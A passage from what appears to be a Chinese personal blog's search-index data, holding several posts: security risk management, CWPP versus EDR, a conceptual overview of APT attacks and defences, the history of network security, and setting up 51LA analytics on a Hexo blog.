即威胁源、威胁行为、脆弱性、资产和影响)来降低风险。比如，采用法律的手段制裁计算机犯罪(包括窃取机密信息，攻击关键的信息系统基础设施，传播病毒、不健康信息和垃圾邮件等)，发挥法律的威慑作用，从而有效遏制威胁源的动机;采取身份认证措施，从而抵制身份假冒这种威胁行为的能力；及时给系统打补丁(特别是针对安全漏洞的补丁)，关闭无用的网络服务端口，从而减少系统的脆弱性，降低被利用的可能性；采用各种防护措施，建立资产的安全域，从而保证资产不受侵犯，其价值得到保持；采取容灾备份、应急响应和业务连续计划等措施，从而减少安全事件造成的影响程度。\n规避方式: 当风险不能被降低时，通过不使用面临风险的资产来避免风险。比如，在没有足够安全保障的信息系统中，不处理特别敏感的信息，从而防止敏感信息的泄漏。再如，对于只处理内部业务的信息系统，不使用互联网，从而避免外部的有害人侵和不良攻击。\n转移方式: 只有在风险既不能被降低，又不能被规避时，通过将面临风险的资产或其价值转移到更安全的地方来避免或降低风险。比如，在本机构不具备足够的安全保障的技术能力时，将信息系统的技术体系(即信息载体部分)外包给满足安全保障要求的第三方机构，从而避免技术风险。再如，通过给昂贵的设备上保险，将设备损失的风险转移给保险公司，从而降低资产价值的损失。\n接受方式: 是选择对风险不采取进一步的处理措施，接受风险可能带来的结果。接受风险的前提是确定了风险的等级，评估了风险发生的可能性以及带来的潜在破坏，分析了使用每种处理措施的可行性，并进行了较全面的成本效益分析，认定某些功能、服务、信息或资产不需要进一 步保护。\n风险处理的过程包括现存风险判断、处理目标确立、处理措施选择和处理措施实施4个阶段。\n4、批准监督 批准监督包括批准和持续监督两部分。 批准，是指机构的决策层依据风险评估和风险处理的结果是否满足信息系统的安全要求，做出是否认可风险管理活动的决定。批准应由机构内部或更高层的主管机构的决策层来执行。 持续监督，是指检查机构及其信息系统以及信息安全相关的环境有无变化，监督变化因素是否有可能引入新的安全隐患并影响到信息系统的安全保障级别。监督通常由机构内部管理层和执行层完成，必要时也可以委托支持层的外部专业机构提供支持，这主要取决于信息系统的性质和机构自身的专业能力。 对风险评估和风险处理的结果的批准和持续监督，不能仅依据相关标准进行僵化的对比，而是需要紧紧围绕信息系统所承载的业务，通过对业务的重要性和业务遭受损失后所带来的影响来开展相关工作。批准通过的依据( 原则)有两个：一是信息系统的残余风险是可接受的；二是安全措施能够满足信息系统当前业务的安全需求。\n参考资料： 《CISP培训教材》 《信息安全工程师教程（第2版）》 《信息安全技术信息安全风险评估规范》\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-04-19-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E4%B9%8B%E5%AE%89%E5%85%A8%E9%A3%8E%E9%99%A9%E7%AE%A1%E7%90%86/","summary":"\u003cp\u003e在信息时代，信息已经成为第一战略资源，信息对组织使命的完成、组织目标的实现起着至关重要的作用，因此信息资产的安全是关系到该组织能否完成其使命的重大因素。资产与风险是对矛盾共同体，资产价值越高，面临的风险就越大。而对于目前的组织机构而言，由于组织的业务运营越来越依赖于信息资产，信息安全相关风险在组织整体风险中所占的比例也越来越高。信息安全风险管理的目的就是将风险控制到可接受的程度，保护信息及其相关资产，最终保障组织能够完成其使命，实现其目标。\u003c/p\u003e","title":"网络信息安全之安全风险管理"},{"content":"随着信息系统的发展，大家都在说网络安全要覆盖“云”、“管”、“端”，CWPP与EDR是目前非常火的产品，一个面向云端服务器的防护，一个是面向常规终端PC端的防护。\n在介绍CWPP与EDR两个产品概念之前，先来简单说明一下主机、服务器、终端几个位置概念：\n主机VS服务器。主机是一个统称，所有服务器（虚拟机）都是主机，但并非所有主机都是服务器，也就是主机覆盖服务器。主机和服务器的主要差别在于，主机是连接到网络的计算机或其他设备，而服务器是提供服务的软件或硬件设备，日常所说的服务器一般是指提供服务的主机。由此可见，主机安全并不是一个产品，而是对应一个需要被保护的位置，主机安全即主机侧的安全保护。\n终端VS服务器。终端和服务器是两类东西。这里的终端指桌面电脑、笔记本、个人设备等用于访问网络、数据和应用的设备，而服务器则是提供服务、存储、计算的设备。当然，某种程度上来说，广义上的终端概念也可以包括服务器，但常规意义的终端不包括服务器。 对于一般的应用系统来说，服务器就是提供服务的主机如提供WEB、FTP、数据库等服务的服务器，终端就是访问服务的工作站、个人PC等。\n一、CWPP的定义 现代数据中心支持运行在物理设备、虚拟机（VM）、容器以及私有云基础架构中的各种工作负载，并且几乎总是涉及一些在一个或多个公有云基础设施即服务（IaaS）提供商中运行的工作负载。 云工作保护平台(Cloud Workload Protection Platform)简称CWPP，市场定义为基于主机的解决方案，主要满足现代混合数据中心架构中，服务器工作负载的保护要求。它为信息安全领导者提供了一种集成的方式，通过使用单个管理控制台和单一方式表达安全策略来保护这些工作负载，而不用考虑工作负载运行的位置。 可以理解成为基于代理（Agent）的底层技术方案，和传统部署在网络边界上的安全产品不一样，CWPP部署在操作系统层，因此可以横跨物理机、公有云、私有云、混合云等多种数据中心环境，部署方式更加灵活、防护层面更加丰富。采用服务端agent+远程控制台的部署模式，agent支持云、物理、混合环境部署，能有效安全加固服务器、抵御黑客攻击和恶意代码。\nGartner定义的产品能力(需求)的金子塔说明了对CWPP产品能力的定义，越是靠近基座的功能越重要，越是靠近塔尖的功能越次要。 CWPP的核心能力：\nCongurationand vulnerability management 配置和漏洞管理 1.配置，即服务器优化，通过对操作系统进行合理配置，提升操作系统的安全性和抗攻击能力。 2.漏洞管理，分为操作系统漏洞管理和应用漏洞管理。目前网络攻击主要是通过web服务器或者web应用漏洞发起，因此CWPP产品要能提供标准化、同时支持制定自定义的web应用漏洞防护策略。 Networksegmentation, isolation and traffic visibility 网络隔离与流可视 要求CWPP产品首先能图形化管理用户的主机业务资产，并且可以跨物理、虚拟架构、网络定于基于角色的访问策略（微隔离）；对于主机之间的访问关系，可以图形化的展示和控制（流可视化）。 Systemintegrity measurement， attestation and monitoring 系统完整性检测、认证和监测 可以保护系统文件或者指定目录、文件不被恶意修改，提供监控模式和防护模式。 Application control应用防护 CWPP产品需要能识别到主机上运行的应用，并对不同的应用提供相应的防护策略，如云锁对web应用提供waf防护，对于sshd、remotedesktop提供防暴力破解防护等。 Capabilities that augment/verify foundational operational controls 增强及验证基础运维能力 CWPP产品要求不能单纯依靠服务器账号、密码来验证管理员，而需要引入账号密码外的第二套验证机制。比如云锁的登陆防护功能，可以限制登陆服务的用户名、IP范围、登陆时间、登陆服务器使用的PC名称，如果不满足限制条件，即使拿到服务器的管理员账号密码也无法登陆服务器。 Log management and monitoring日志管理和监测 要求CWPP产品能提供完整的日志，同时当安全事件发生后，CWPP产品需要关联相关日志最终形成事件IOC，帮助用户回溯攻击过程，快速定位风险点。 二、EDR的定义 根据Gartner的定义，EDR端点检测与响应（Endpoint Detection and Response）简称EDR是一种集成的终端安全解决方案，它将终端数据的实时连续监控和收集与基于规则的自动响应和分析功能相结合。该术语由Gartner的Anton Chuvakin提出，用于描述新兴的安全系统，用于检测和调查终端上的可疑活动，采用高度自动化使安全团队能够快速识别和响应威胁。完全不同于以往的端点被动防护思路，而是通过云端威胁情报、机器学习、异常行为分析、攻击指示器等方式，主动发现来自外部或内部的安全威胁，并进行自动化的阻止、取证、补救和溯源，从而有效对端点进行防护。\n相比于传统端点安全防护采用预设安全策略的静态防御技术，EDR加强了威胁检测和响应取证能力，能够快速检测、识别、监控和处理端点事件，从而在威胁尚未造成危害前进行检测和阻止，帮助受保护网络免受零日威胁和各种新出现的威胁。安全模型如图所示： 资产发现：定期通过主动扫描、被动发现、手工录入和人工排查等多种方法收集当前网络中所有软硬件资产，包括全网所有的端点资产和在用的软件名称、版本，确保整个网络中没有安全盲点。 系统加固：定期进行漏洞扫描、补丁修复、安全策略设置和更新端点软件清单，通过软件白名单限制未经授权的软件运行，通过主机防火墙限制未经授权的服务端口开放，并定期检查和清理内部人员的账号和授权信息。 威胁检测：通过端点本地的主机入侵检测和借助云端威胁情报、异常行为分析、攻击指示器等方式，针对各类安全威胁，在其发生前、发生中、发生后进行相应的安全检测动作。 响应取证：针对全网的安全威胁进行可视化展示，能够针对安全威胁自动化地进行隔离、修复和补救，自动完成安全威胁的调查、分析和取证工作，降低事件响应和取证分析的技术门槛，不需要依赖于外部专家即可完成快速响应和取证分析。 三、CWPP与EDR的关系与区别 EDR与CWPP主机安全属于网络安全领域两个不同的方向，前者聚焦于常规的终端侧，后者聚焦于主机侧，两者作用于完全不同的位置。EDR的基因是根植于PC等常规终端的，它天然不适配于主机侧。\n需求场景 需求求相同点 需求不同点 终端侧安全 资产梳理清点\n统一集中管理\n风险防护 安全需求\u0026gt;稳定需求，注重安全防护能力，重防御；\n关注用户实体行为分析（UEBA），防止PC端成为威胁内网安全的导火索，防止敏感数据歪斜；\n高危动作或安全风险尽可能自动化完成阻断动作，无需人工介入，确保整体网络的安全可靠。 主机侧安全 资产梳理清点\n统一集中管理\n风险防护 稳定需求\u0026gt;安全需求，注重安全检测能力，重检测；\n更加关注主机上承载的业务应用和数据安全；\n因业务连续性需要，安全加固工作需人工介入，要在确保业务连续稳定运行的基础上进行加固。 在安全的需求上，PC类的终端侧与主机侧的安全诉求差别很大。所以，面向终端的EDR产品与面向服务器/工作负载的主机安全产品CWPP，这两者之间有本质的区别，并不能混为一谈。主机侧的安全产品实现不了终端侧的安全防护，EDR也不能实现CWPP的防护效果。 两种产品的区别如下：\n对比项 CWPP EDR 产品定位 主机安全防护 终端安全防护 产品部署 Agent不在内核安装驱动，稳定性高 Agent安装需要在内核安装驱动，稳定性差，影响业务 资产清点 资产清点能力更全面，支持对业务层资产精准识别和动态感知 资产信息相对比较少，不够全面 风险发现 提供全面的风险检查，包括漏洞风险、弱密码、系统风险、应用风险、账号风险检查 支持漏洞风险检查，不具备其他风险检查能力 入侵检测与病毒查杀 不依赖特征库的检测方式，基于行为以及结合威胁情报、大数据、机器学习等方法，提供实时精准的入侵检测和响应能力 主要功能是病毒查杀，基于特征库或结合威胁情报，能够查杀绝大部分病毒，但仍属于被动防护 基线合规检查 提供等保或CIS国标标准的检查基线，支持对系统、应用、数据进行基线合规检查 通常不具备合基线合规检查能力，或提供少量的基线检查标准。 CWPP与EDR，一个面向服务器端的防护（CWPP），一个是面向常规终端PC端的防护（EDR）但是对于企业的整体安全防护来说，CWPP和EDR相互作为补充构建企业的云、端防护能力。\n博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-04-16-cwpp%E4%B8%8Eedr%E7%9A%84%E5%AE%9A%E4%B9%89%E4%B8%8E%E5%8C%BA%E5%88%AB/","summary":"\u003cp\u003e随着信息系统的发展，大家都在说网络安全要覆盖“云”、“管”、“端”，CWPP与EDR是目前非常火的产品，一个面向云端服务器的防护，一个是面向常规终端PC端的防护。\u003c/p\u003e","title":"CWPP与EDR的定义与区别"},{"content":"一、什么是APT攻击 当今，网络系统面临着越来越严重的安全挑战，在众多的安全挑战中，一种具有组织性、特定目标以及长时间持续性的新型网络攻击日益猖獗，国际上常称之为APT（Advanced Persistent Threat高级持续性威胁）攻击。 APT攻击是一种以商业或者政治目的为前提的特定攻击，其通过一系列具有针对性的攻击行为以获取某个组织甚至国家的重要信息，特别是针对国家重要的基础设施和单位开展攻击，包括能源、电力、金融、国防等等。APT攻击常常采用多种攻击技术手段，包括一些最为先进的手段和社会工程学方法，并通过长时间持续性的网络渗透，一步步的获取内部网络权限，此后便长期潜伏在内部网络，不断地收集各种信息，直至窃取到重要情报。 对于APT攻击比较权威的定义是由美国国家标准与技术研究所( NIST)提出的，该定义给出了APT攻击的4个要素，具体如下。 (1)攻击者：拥有高水平专业知识和丰富资源的敌对方。 (2)攻击目的：破坏某组织的关键设施，或阻碍某项任务的正常进行。 (3)攻击手段：利用多种攻击方式，通过在目标基础设施上建立并扩展立足点来获取信息。 (4)攻击过程：在一个很长的时间段内潜伏并反复对目标进行攻击,同时适应安全系统的防御措施,通过保持高水平的交互来达到攻击目的。\n二、APT攻击过程 一般APT攻击过程可概括为3个阶段：攻击前准备阶段、攻击入侵阶段和持续攻击阶段，又可细分为5个步骤：情报收集、防线突破、通道建立、横向渗透、信息收集及外传。 1.情报收集 在实施攻击之前，攻击者会针对特定组织的网络系统和相关员工展开大量的信息搜集。信息搜集方法多种多样，通常包括搜索引擎、爬网系统、网络隐蔽扫描、社会工程学方法等方式。信息来源包括相关员工的微博、博客、社交网站、公司网站，甚至通过某些渠道购买相关信息(如公司通讯录等)。攻击者通过对这些信息的分析，可以清晰地了解攻击目标所使用的应用、防御软件，组织内部架构和人员关系，核心资产存放情况等等。于是，攻击者针对特定目标(一般是内部员工)所使用的应用软件寻找漏洞，并结合特定目标所使用的杀毒软件、防火墙等设计特定木马/恶意代码以绕过防御。同时，攻击者搭建好入侵服务器，开展技术准备工作。\n2.防线突破 攻击者在完成情报收集和技术准备后，开始采用木马/恶意代码攻击特定员工的个人电脑，攻击方法主要有：①社会工程学方法，如电子邮件攻击，攻击者窃取与特定员工有关系的人员(如领导、同事、朋友等)电子邮箱，冒充发件人给该员工发送带有恶意代码附件的邮件，一旦该员 工打开附件，员工电脑便感染了恶意软件。②远程漏洞攻击方法，如网站挂马攻击，攻击者在员工常访问的网站上放置木马，当员工再次访问该网站时，个人电脑便受到网页代码攻击。由于这些恶意软件针对的是系统未知漏洞并被特殊处理，因此现有的杀毒软件和防火墙均无法察觉，攻击者便能逐渐获取个人电脑权限，最后直至控制个人电脑。\n3.通道建立 攻击者在突破防线并控制员工电脑后，在员工电脑与入侵服务器之间开始建立命令控制通道。通常，命令控制通道采用HTTP/HTTPS等协议构建，以突破电脑系统防火墙等安全设备。一旦攻击者完成通道建立，攻击者通过发送控制命令检查植入的恶意软件是否遭受查杀，并在恶意软件被安全软件检测到前，对恶意软件进行版本升级，以降低被发现的概率。\n4.横向渗透 入侵和控制员工个人电脑并不是攻击者的最终目的，攻击者会采用口令窃听、漏洞攻击等多种渗透方法尝试进一步入侵组织内部更多的个人电脑和服务器，同时不断地提升自己的权限，以求控制更多的电脑和服务器，直至获得核心电脑和服务器的控制权。\n5.信息收集及外传 攻击者常常长期潜伏，并不断实行网络内部横向渗透，通过端口扫描等方式获取服务器或设备上有价值的信息，针对个人电脑通过列表命令等方式获取文档列表信息等。攻击者会将内部某个服务器作为资料暂存的服务器，然后通过整理、压缩、加密、打包的方式，利用建立的隐蔽通信通道将信息进行外传。在获取这些信息后，攻击者会对这些信息数据进行分析识别，并做出最终的判断，甚至实施网络攻击破坏。\n三、APT攻击和传统攻击的区别 APT攻击具有不同于传统网络攻击的5个显著特征：针对性强、组织严密、持续时间长、高隐蔽性和间接攻击。 1.针对性强 APT攻击的目标明确，多数为拥有丰富数据/知识产权的目标，所获取的数据通常为商业机密、国家安全数据、知识产权等。 相对于传统攻击的盗取个人信息，APT攻击只关注预先指定的目标，所有的攻击方法都只针对特定目标和特定系统，针对性较强。 2.组织严密 APT攻击成功可带来巨大的商业利益，因此攻击者通常以组织形式存在，由熟练黑客形成团体，分工协作，长期预谋策划后进行攻击。他们在经济和技术上都拥有充足的资源，具备长时间专注APT研究的条件和能力。 3.持续时间长 APT攻击具有较强的持续性，经过长期的准备与策划，攻击者通常在目标网络中潜伏几个月甚至几年，通过反复渗透，不断改进攻击路径和方法，发动持续攻击，如零日漏洞攻击等。 4.高隐蔽性 APT攻击根据目标的特点，能绕过目标所在网络的防御系统，极其隐藏地盗取数据或进行破坏。在信息收集阶段，攻击者常利用搜索引擎、高级爬虫和数据泄漏等持续渗透，使被攻击者很难察觉；在攻击阶段，基于对目标嗅探的结果，设计开发极具针对性的木马等恶意软件，绕过目标网络防御系统，隐蔽攻击。 5.间接攻击 APT攻击不同于传统网络攻击的直接攻击方式，通常利用第三方网站或服务器作跳板，布设恶意程序或木马向目标进行渗透攻击。恶意程序或木马潜伏于目标网络中，可由攻击者在远端进行遥控攻击，也可由被攻击者无意触发启动攻击。\n对比内容 传统攻击 APT攻击 攻击者特征 个体或小组织网络犯罪分子 全球性、有组织、有纪律的不法团体、公司、敌对者 攻击目标 随机性选择攻击，通常以个体为主，以达到获取金钱、盗窃身份、欺诈等 特定攻击目标，通常针对国家安全信息、重要行业商业机密信息等 攻击手段 攻击手段比较单一，常基于已有的恶意软件展开攻击 攻击手段复杂，形式多样，结合0day攻击、特种木马攻击、社会工程学等展开攻击 攻击时间 攻击时间较短，以一次性、大范围攻击为主 攻击时间较长，长期潜伏、多次渗透攻击 攻击痕迹 攻击特性很强，容易在较短时间内被检测和捕获 攻击特征弱，比较隐蔽，缺少样本数据，很难被检测和捕获 四、如何防范APT攻击 随着人们对APT攻击的研究不断深入，已经出现一些有效的防御技术来对抗APT攻击，其核心思想大多是针对APT“攻击链”的某一步骤展开防御。这些技术主要包括：沙箱技术、信誉技术、异常流量分析技术、大数据分析技术等等。\n1.沙箱技术 沙箱，又叫做沙盘，被认为是当前防御APT攻击的最有效技术之一。沙箱即是通过虚拟化技术形成一个模拟化的环境，同时将本地系统中的进程对象、内存、注册表等与模拟环境相互隔离，以便在这个虚拟化环境中测试和观察文件、访问等运行行为。沙箱通过重定向技术，将测试过程中生成和修改的文件定向到特定文件夹中，避免了对真是注册表、本地核心数据等的修改。当APT攻击在改虚拟环境发生时，可以及时地观察并分析其特征码，进一步防御其深入攻击。\n2.信誉技术 安全信誉是对互联网资源和服务相关实体安全可信性的评估和看法。信誉技术是应用于APT攻击检测具有较好辅助功能的一项技术，通过建立信誉库，包括WEB URL信誉库、文件MD5码库、僵尸网络地址库、威胁情报库等，可以为新型病毒、木马等APT攻击的检测提供强有力的技术辅助支撑，实现网络安全设备对不良信誉资源的阻断或过滤。信誉库的充分利用，将进一步提高安全新品的安全防护能力。\n3.主机漏洞防护技术 针对横向移动与内部资料进行挖掘和探测的防御，可采用主机漏洞防护技术，能侦测任何针对主机漏洞的攻击并加以拦截，进而保护未修补的主机。这类解决方案可实现档案 / 系统一致性监控，保护未套用修补程序的主机，防止已知和0day 漏洞攻击。\n4.异常流量分析技术 这是一种流量检测及分析技术，其采用旁路接入方式提取流量信息，可以针对帧数、帧长、协议、端口、标识位、IP路由、物理路径、CPU/RAM消耗、宽带占用等进行监测，并基于时间、拓扑、节点等多种统计分析手段，建立流量行为轮廓和学习模型来识别流量异常情况，进而判断并识别0Day漏洞攻击等。\n5.数据防泄漏技术（DLP） 针对资料外传的风险，一般可采用加密和资料外泄防护 (DLP)技术，将关键、敏感、机密的数据加密，是降低数据外泄风险的一种方法，DLP 可提供一层额外的防护来防止数据外泄。然而，这类工具通常很复杂，而且有些部署条件，例如：数据要分类，要定义政策和规则等。\n6、大数据分析技术 APT攻击防御离不开大数据分析技术，无论是网络系统本身产生的大量日志数据，还是SOC安管平台产生的大量日志信息，均可以利用大数据分析技术进行大数据再分析，运用数据统计、数据挖掘、关联分析、态势分析等从记录的历史数据中发现APT攻击的痕迹，以弥补传统安全防御技术的不足。\n我们熟知的APT防御产品主要针对的都是APT攻击链上的某个环节来展开防御，目前来说这是远远不够的。APT攻击防御应该是覆盖APT攻击所有环节，未来发展的趋势，是需要构建基于APT攻击链的多层次、多维度、多角度的纵深防御体系，如态势感知平台等。\n博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-04-02-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E4%B9%8Bapt%E6%94%BB%E5%87%BB/","summary":"\u003ch1 id=\"一什么是apt攻击\"\u003e一、什么是APT攻击\u003c/h1\u003e\n\u003cp\u003e当今，网络系统面临着越来越严重的安全挑战，在众多的安全挑战中，一种具有组织性、特定目标以及长时间持续性的新型网络攻击日益猖獗，国际上常称之为\u003cstrong\u003eAPT（Advanced Persistent Threat高级持续性威胁）攻击\u003c/strong\u003e。\nAPT攻击是一种以商业或者政治目的为前提的特定攻击，其通过一系列具有针对性的攻击行为以获取某个组织甚至国家的重要信息，特别是针对国家重要的基础设施和单位开展攻击，包括能源、电力、金融、国防等等。APT攻击常常采用多种攻击技术手段，包括一些最为先进的手段和社会工程学方法，并通过长时间持续性的网络渗透，一步步的获取内部网络权限，此后便长期潜伏在内部网络，不断地收集各种信息，直至窃取到重要情报。\n对于APT攻击比较权威的定义是由美国国家标准与技术研究所( NIST)提出的，该定义给出了APT攻击的4个要素，具体如下。\n(1)攻击者：拥有高水平专业知识和丰富资源的敌对方。\n(2)攻击目的：破坏某组织的关键设施，或阻碍某项任务的正常进行。\n(3)攻击手段：利用多种攻击方式，通过在目标基础设施上建立并扩展立足点来获取信息。\n(4)攻击过程：在一个很长的时间段内潜伏并反复对目标进行攻击,同时适应安全系统的防御措施,通过保持高水平的交互来达到攻击目的。\u003c/p\u003e","title":"网络信息安全之APT攻击"},{"content":"随着通信技术和信息技术的发展，极大的改变了人们处理信息的方式和效率。计算机网络尤其是互联网的出现是信息技术发展中一个里程碑事件。计算机网络将通信技术和计算机技术结合起来。信息在计算机上产生、处理，并在网络中传输。网络信息系统安全是通信安全和信息系统安全的综合，网络信息安全已经覆盖了信息资产的生成、处理、传输和存储等各个阶段。包括信息自身的安全、信息应用的安全、计算机信息系统安全、通信网络安全。\n信息安全信息应用安全\r信息自身安全\r信息基础设施安全计算机系统安全\r通信网络安全\r网络信息系统安全随着通信技术和信息技术的发展，大致经历了通信保密年代、计算机系统安全年代、信息系统网络安全年代、网络空间安全年代。 一、通信保密年代 1906年，美国物理学家费森登( Fessenden )成功地研究出无线电广播。法国人克拉维尔建立了英法第一条商用无线电线路，推动了无线电技术的进一步发展。 进入20世纪，尤其是在“二战”时期，军事和外交方面的巨大需求，使得无线通信技术得到飞速发展，被广泛用来传递军事情报、作战指令、外交政策等各种关键信息。21世纪，通信技术突飞猛进的发展，移动通信和数字通信成为通信技术的主流，现代世界中通信技术成为支撑整个社会的命脉和根本。 在通信保密年代，网络信息安全面临的主要威胁是攻击者对通信内容的窃取:有线通信容易被搭线窃听、无线通信由于电磁波在空间传播易被监听。保密成为通信安全阶段的核心安全需求。这阶段主要通过密码技术对通信的内容进行加密，保证数据的保密性和完整性，而破译成为攻击者对这种安全措施的反制。\n二、计算机系统安全年代 计算机经历了电子计算机、晶体管计算机、集成电路计算机等几个阶段。尤其是在进入20世纪70年代后,随着个人计算机的普及，各行各业都迅速采用计算机处理各种业务。计算机在处理、存储信息数据等方面的应用越来越广泛。美国国家标准局公布了《数据加密标准》( Data Encryption Standard,DES )，标志着信息安全由通信保密阶段进人计算机安全阶段。这个时期，计算机网络尚未大规模普及，相对于电话电报，计算机对信息的处理和存储能力强大，但数据长距离、大容量的传输方式较单一，功能相对较弱(主要通过软盘等形式传输)。因此，计算机阶段主要威胁来自于非授权用户对计算资源的非法使用、对信息的修改和破坏。 20世纪80年代计算机安全的概念开始成熟。计算机安全的主要目的是采取措施和控制以确保信息系统资产(包括硬件、软件、固件和通信、存储和处理的信息)的保密性、完整性和可用性。典型代表措施是通过操作系统的访问控制手段来防止非授权用户的访问。\n三、信息系统网络安全年代 计算机网络尤其是互联网的出现是信息技术发展中一个里程碑事件。计算机网络将通信技术和计算机技术结合起来。信息在计算机上产生、处理，并在网络中传输。信息技术由此进人网络阶段，网络阶段利用通信技术将分布的计算机连接在一起，形成覆盖整个组织机构甚至整个世界的信息系统。信息系统安全是通信安全和计算机安全的综合，信息安全需求已经全面覆盖了信息资产的生成、处理、传输和存储等各阶段,确保信息系统的保密性、完整性和可用性。信息系统安全也曾被称为网络安全，主要是保护信息在存储、处理和传输过程中免受非授权的访问，防止授权用户的拒绝服务，同时检测、记录和对抗此类威胁。为了抵御这些威胁，人们开始使用防火墙、防病毒、PKI、 VPN等安全产品。此阶段的主要标志是发布了《信息技术安全性评估通用准则》，此准则即通常所说的通用准则( Common Criteria,CC)，后转变为国际标准ISO/IEC 15408,我国等同采纳此国际标准为国家标准GB/T 18336。\n四、网络空间安全年代 随着互联网的不断发展，越来越多的设备被接人并融合，技术的融合将传统的虚拟世界与物理世界相互连接，共同构成了一个新的IT世界。互联网成为个人生活、组织机构甚至国家运行不可或缺的一部分，网络空间随之诞生，信息化发展进人网络空间阶段。网络空间作为新兴的第五空间，已经成为新的国家竞争领域,威胁来源从个人上升到犯罪组织，甚至上升到国家力量的层面。 “网络空间( Cyberspace)”一词，由加拿大作家威廉●吉布森在其短篇科幻小说《燃烧的铬》中创造出来，原意指由计算机创建的虚拟信息空间，体现了Cyberspace 不仅是信息的简单聚合体，也包含了信息对人类思想认知的影响。此后，随着信息技术的快速发展和互联网的广泛应用，Cyberspace 的概念不断丰富和演化。 随着信息化的不断深人，信息系统成为组织机构工作和生活不可或缺的一部分，信息安全威胁来源从个人上升到犯罪组织，甚至国家力量。在这个阶段，人们认识到信息安全保障不能仅仅依赖于技术措施，开始意识到管理的重要性和信息系统的动态发展性，信息安全保障的概念逐渐形成和成熟。 信息安全保障把信息系统安全从技术扩展到管理，从静态扩展到动态，通过各种安全保障技术和安全保障管理措施的综合融合至信息化中，形成对信息、信息系统乃至业务以及使命的保障。信息安全保障时代，其主要标志是《信息保障技术框架》（IATF）。如果说对信息的保护，主要还是处于从传统安全理念到信息化安全理念的转变过程中，那么面向业务的安全保障，就完全是从信息化的角度来考虑信息的安全了。体系性的安全保障理念，不仅是关注系统的漏洞，而且是从业务的生命周期着手，对业务流程进行分析，找出流程中的关键控制点，从安全事件出现的前、中、后三个阶段进行安全保障。面向业务的安全保障不是只建立防护屏障，而是建立一个“深度防御体系”，通过更多的技术手段把安全管理与技术防护联系起来，不再是被动地保护自己，而是主动地防御攻击。也就是说，面向业务的安全防护已经从被动走向主动，安全保障理念从风险承受模式走向安全保障模式。信息安全阶段也转化为从整体角度考虑其体系建设的信息安全保障时代。 2009年5月29日，美国发布《网络空间政策评估:确保信息和通信系统的可靠性和韧性》报告。云计算、虚拟化、物联网、移动互联网、大数据、人工智能等新技术的出现，使得网络空间安全的问题无比复杂。 2016年12月，我国发布了《国家网络空间安全战略》，明确了网络空间是国家安全的新疆域，已经成为与陆地、海洋、天空、太空同等重要的人类活动新领域，国家主权拓展延伸到网络空间，网络空间主权成为国家主权的重要组成部分。\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-04-02-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8%E7%9A%84%E5%8F%91%E5%B1%95%E6%BC%94%E5%8F%98/","summary":"\u003cp\u003e随着通信技术和信息技术的发展，极大的改变了人们处理信息的方式和效率。计算机网络尤其是互联网的出现是信息技术发展中一个里程碑事件。计算机网络将通信技术和计算机技术结合起来。信息在计算机上产生、处理，并在网络中传输。网络信息系统安全是通信安全和信息系统安全的综合，网络信息安全已经覆盖了信息资产的生成、处理、传输和存储等各个阶段。包括信息自身的安全、信息应用的安全、计算机信息系统安全、通信网络安全。\u003c/p\u003e","title":"网络信息系统安全的发展演变"},{"content":"自建hexo博客xiejava.ishareread.com一直在用CNZZ的网站流量统计，每天登陆到CNZZ的网站流量统计后台看博客的访问量成了建站以来的习惯。3月23日以后突然发现CNZZ的统计没有数据了，查了半天才知道CNZZ的U-Web统计分析产品停服了，计划要收费了。最开始用百度统计也是的，原来用得好好的，突然也是要收费了才开始转向用CNZZ的，现在CNZZ也要开始收费了。看来互联网公司日子比较难过了，免费时代已经一去不复返了。对于个人博客网站来说要付费买个网站流量统计又有点划不来。本来流量就很少，每年域名要付费、主机要付费，再弄个流量统计也要付费实在是有点承受不了。但是没有网站流量统计，不能看到自己的站点的访问量，对于个人自建网站来讲失去了大部分的乐趣。 所以这几天一直在寻找其他的网站流量统计的工具，只到找到了51LA。以前只知道百度和CNZZ的网站流量统计工具，最近才了解到51LA统计，它是15年老牌网站统计工具，是互联网上最早基于ASP编写的网站数据统计工具，拥有一大批忠实老站长，后来历经改造，推出新版51LA统计目前是网站统计V6，界面较以往有了较大的改动更加友好直观。 51LA网站统计V6的产品链接是 https://v6.51.la/ 看到\u0026quot;免费使用\u0026ldquo;几个大字的时候我的眼睛已经发光了。迫不及待的点击“注册”，进行使用。\n一、注册登录 注册流程很简单，要注册的信息很少，基本上就是手机号和登录密码。 注册过程很友好，注册完就可以登录了。\n二、添加应用 在正式使用网站统计服务之前要添加应用。也就是要将要统计的站点域名登记到应用里，生成统计代码。 点击“添加应用”按钮。要填的信息也就是你要统计的站点域名，可以是多个域名。我的hexo博客除了用到xiejava.ishareread.com外还在github和gited上都生成了。所以把这几个访问的域名都加上。 三、加入网站流量统计代码 添加应用后下一步就是生成统计代码，将统计代码加入到自己的hexo站点。 标签页后面还有“图标引用”、“数据挂件”的代码，如果有需要也可以加入。 找到自己的hexo站点的文件目录的footer.swig文件，具体在themes\\hexo-theme-next\\layout\\_partials目录下。编辑footer.swig文件，加入统计代码，根据需要加入图标引用、数据挂件的代码。 四、查看统计效果 加入统计代码、图标引用、数据挂件代码后，大约5分钟刷新hexo站点，就可以在网站底部看到图标和数据挂件。 登录到https://v6.51.la/user/application 的管理后台，可以看到代码安装状态为“安装成功” 点击“查看报表”可以查看网站的流量统计分析信息。各种统计图表直观易懂，数据详实，感觉比CNZZ 及百度统计更加实用和方便。 